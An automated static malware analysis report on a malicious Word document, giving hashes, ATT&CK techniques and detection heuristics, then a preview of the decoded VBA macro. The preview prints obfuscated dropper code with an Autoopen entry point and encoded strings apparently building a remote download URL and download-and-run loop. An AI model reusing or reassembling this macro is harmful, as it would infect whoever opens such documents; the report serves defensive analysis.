Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3520b77db06eccc7…

MALICIOUS

Office (OLE)

180.5 KB Created: 2018-05-18 05:19:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: b880164714dda8ce527c67ad09e43fe2 SHA-1: 891d88e3928ca93e422e6832a16ee692cd828477 SHA-256: 3520b77db06eccc780c09b4feefd5cd773c6292c7174e8f719b8736bba85dfbe
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The Autoopen macro is present and the Shell() function is called, indicating an attempt to execute arbitrary code. The ClamAV detection 'Doc.Dropper.Agent-6547898-0' further supports its malicious nature as a dropper. The VBA script is heavily obfuscated, preventing a detailed analysis of its specific actions beyond the Shell() call.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6547898-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6547898-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 185748 bytes
SHA-256: 653b54e56e5bb802d3270ec291a2e4ed55bbeeb6bf6d7ad7dce221f970ec9007
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LOGnZrLCMHFwv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub hwbLp(MlpUK)
For bIjFQa = 32801 To 52431
      For thQnpJ = 96460 To wXJaX
         cGwaX = ChrB(zYDVi)
      Next
      OhClb = 74268 * 27620
      oRKXAO = lszAz + kDzSz
Next
End Sub
Sub MjUdvF(uRzLw)
For MpjKv = 50126 To 50927
      For ALjGV = 67036 To idCTb
         BATnPS = ChrB(TznhBc)
      Next
      OAtEsZ = 69606 * 22772
      oWaWH = nvrUi + oQXfH
Next
For pDYzFs = 92394 To 732
      For kwbCIq = 61894 To QowWDJ
         pjwcZj = ChrB(YkcuI)
      Next
      pRiaHm = 7426 * 93517
      SVUIm = qLZlu + JYtTat
Next
For aqZOh = 69300 To 77842
      For GWPRFv = 47974 To cHRzP
         ZCIOPj = ChrB(oGjspW)
      Next
      tHmYwH = 69707 * 78874
      UokkK = LJwws + WFTUI
Next
End Sub
Sub SPiZP(wUVVs)
For IzksoZ = 59412 To 91498
      For XuWvri = 18093 To BTEpB
         ZbvYL = ChrB(qvqQzq)
      Next
      fdRtpM = 44007 * 89872
      MdYup = UBoIGf + QtATJ
Next
For cEFzAi = 56773 To 87552
      For aOdiXF = 29784 To ARwsb
         cojPUM = ChrB(sWCiS)
      Next
      GjXLL = 7039 * 68510
      ZfbIGB = ABNzBP + IRTIjM
Next
End Sub
Sub Autoopen()
On Error Resume Next
For saAEpJ = 72119 To 54312
      For kprND = 17639 To HOLwr
         piQAc = ChrB(GsDWX)
      Next
      hFbDQs = 81181 * 46895
      dKKCaz = LuVQp + lWooj
Next
MaWDfwJ (VMhSU + OXUwQBoqLONwQk + VDjEz)
For GTXMU = 13101 To 96153
      For XzhJB = 13447 To JUFPc
         cDkws = ChrB(jEvcGw)
      Next
      KVAZB = 64052 * 81848
      qXfYQN = MjbpV + iQnPc
Next
End Sub
Sub OwcUa(zwiIv)
For hlhlf = 9611 To 46424
      For cVrMBR = 51965 To jFNJZQ
         fODELR = ChrB(fEoXH)
      Next
      aslirA = 77903 * 87463
      PSIlF = dvmdR + BXbAM
Next
For MpnYi = 19020 To 83816
      For nTiRZ = 53396 To ZwkwZM
         CICuqZ = ChrB(UJiir)
      Next
      ETrowu = 71800 * 55555
      QUEpb = ZrDnzM + iWkTSu
Next
For Kwmiz = 58638 To 10038
      For wzfbW = 85865 To hpAwzv
         irtPQ = ChrB(VEfcqJ)
      Next
      UhWqwX = 34967 * 91031
      IWpum = uTTzXs + vojNP
Next
End Sub
Sub rSDkMt(zTKBa)
For WYjXaW = 6308 To 63581
      For LItmG = 4840 To iGjHjD
         FlcBOo = ChrB(JSXtVt)
      Next
      QJrME = 65081 * 12413
      qamVNl = SSwTk + lzVosi
Next
End Sub

Attribute VB_Name = "qWskIaR"
Sub rvcVhK(COtbpG)
For EzCJi = 59107 To 23032
      For XLwDE = 39023 To CMnTFa
         UzCTq = ChrB(HvQtwq)
      Next
      vizrm = 72119 * 40771
      QWdFb = MhoWA + jdFHP
Next
End Sub
Function OXUwQBoqLONwQk()
On Error Resume Next
For QPcuFH = 27944 To 5030
      For TNvjUF = 830 To aYNPb
         NcXwQk = ChrB(drcwU)
      Next
      uVRWr = 46981 * 63937
      UspjTj = iiBYp + OSiLz
Next
For bibvW = 90897 To 13632
      For zFQFr = 97050 To DkcST
         CZfiZO = ChrB(dCFhpc)
      Next
      hQvVSD = 39051 * 49599
      pwcboR = lqhZYJ + QzjTmw
Next
BHCFSaIjiRD = omqBL("kXaD8X+FV'+'X/FVX+FVX/FVX+FVX:pFVX+FVXttFVX+FVXhFVX+F'+'VX@/FVX+FVXmFVX+F'+'VX11FVX+FVX51lWFVX+FVX/ed.'+'nFVX+FVXgisFVX+FVXe'+'d-aFVX+FVXnreta'+'FVX+FVXlFVB8", 11990 + 3 - 11990, 11990 + 150 - 11990)
For jPPPcm = 78481 To 14232
      For PRdZp = 65930 To nzLFUq
         DKYUf = ChrB(lkicA)
      Next
      hMLLf = 16604 * 57547
      SHvjGi = tUaris + MEDSJ
Next
For aiNqh = 42912 To 16305
      For SsImiG = 41820 To jHCGiz
         azrUN = ChrB(UlNzCv)
      Next
      OXVwSA = 3321 * 74471
      LNRhc = WnJdcj + tpCurw
Next
izmOhHWkp = omqBL(",BMi2PoDfml.FVX+FVXUYYFVX+FVXp4BFVX+FVX{yrt{)XCDApFVX+FVX4FVX+FVXB ni cf'+'s'+'aFVX+FVXp4B(hcFVX+FVX'+'aeroFVX+FVXf;FVX+FVX)iFVX+FVXOceiOcFVX+F'+'VX+iFVX+FVXOFVX+FVXc.T", 68215 + 3 - 68215, 68215 + 161 - 68215)
For upjKn = 63813 To 16236
      For EndwPP = 72741 To CjPfOa
         YTCbij = ChrB(XJDfQW)
      N
... (truncated)

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